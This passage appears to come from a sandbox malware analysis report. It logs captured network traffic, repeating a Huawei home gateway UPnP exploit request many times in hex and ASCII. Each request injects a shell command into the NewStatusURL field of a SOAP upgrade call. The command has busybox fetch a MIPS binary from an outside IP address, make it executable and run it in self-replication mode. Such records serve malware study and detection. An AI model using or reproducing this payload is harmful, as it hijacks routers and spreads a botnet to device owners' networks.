2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 